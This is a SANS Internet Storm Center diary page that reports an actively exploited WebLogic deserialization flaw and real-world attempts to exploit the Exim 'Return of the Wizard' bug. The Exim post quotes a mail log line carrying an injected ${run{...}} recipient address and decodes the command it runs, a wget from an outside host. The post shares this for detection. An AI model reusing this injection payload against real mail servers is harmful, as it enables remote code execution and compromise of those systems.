Threat Level: green Handler on Duty: Xavier Mertens

SANS ISC: InfoSec Handlers Diary Blog - Internet Storm Center Diary 2019-06-19 InfoSec Handlers Diary Blog


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Critical Actively Exploited WebLogic Flaw Patched CVE-2019-2729

Published: 2019-06-19
Last Updated: 2019-06-19 14:57:35 UTC
by Johannes Ullrich (Version: 1)
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Oracle today released an out-of-band security update for WebLogic, patching yet another XMLDecoder deserialization vulnerability for WebLogic. The flaw is already actively exploited according to Oracle. Exploitation does not require authentication. Exploitation will allow arbitrary code injection and the CVSS score of the vulnerability is 9.8. The vulnerability is similar to CVE-2019-2725 in that it bypasses protections put in place by Oracle when it patched this vulnerability in April. Oracle has been using a "blacklist" approach in patching these deserialization vulnerabilities, blocking the deserialization of very specific classes, which has led to similar bypass/patch cat and mouse games in the past.

Security Company KnownSec has a few more details about the vulnerability [2] including some mitigation techniques.

CVE-2019-2729 was assigned to the vulnerability and it affects versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0. A patch for WLS 12.2.1.3.x will be released tomorrow.

[1] https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2729-5570780.html#AppendixFMW
[2] https://medium.com/@knownsec404team/knownsec-404-team-alert-again-cve-2019-2725-patch-bypassed-32a6a7b7ca15

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Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
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Quick Detect: Exim "Return of the Wizard" Attack

Published: 2019-06-19
Last Updated: 2019-06-19 14:34:52 UTC
by Johannes Ullrich (Version: 1)
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Thanks to our reader Alex for sharing some of his mail logs with the latest attempts to exploit CVE-2019-10149 (aka "Return of the Wizard"). The vulnerability affects Exim and was patched about two weeks ago. There are likely still plenty of vulnerable servers, but it looks like attackers are branching out and are hitting servers not running Exim as well.

A couple of logs from our own mail server (running postfix):

Jun 19 10:47:10 mail postfix/smtp[19006]: A547240360F4: to=<root+${run{x2Fbinx2Fsht-ctx22wgetx2064.50.180.45x2ftmpx2f70.91.145.10x22}}@dshield.org>, relay=204.51.94.153[204.51.94.153]:25, delay=0.82, delays=0.29/0.03/0.45/0.05, dsn=5.1.1, status=bounced (host 204.51.94.153[204.51.94.153] said: 550 5.1.1 <root+${run{x2Fbinx2Fsht-ctx22wgetx2064.50.180.45x2ftmpx2f70.91.145.10x22}}@dshield.org>: Recipient address rejected: User unknown in virtual alias table (in reply to RCPT TO command))

The exploit is attempting to run the following command:

/bin/sht-ct "wget 64.50.180.45/tmp/70.91.145.10"

Note that the IP at the end of the command is our mail servers public IP address. The URL does no longer appear to exist and belongs to a server running cPanel. 

The beginning of the command may actually be a mistake/typo. I believe the attacker is trying to run sh -ct, which would execute the string (wget..). 

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Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
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ISC Stormcast For Wednesday, June 19th 2019 https://isc.sans.edu/podcastdetail.html?id=6546
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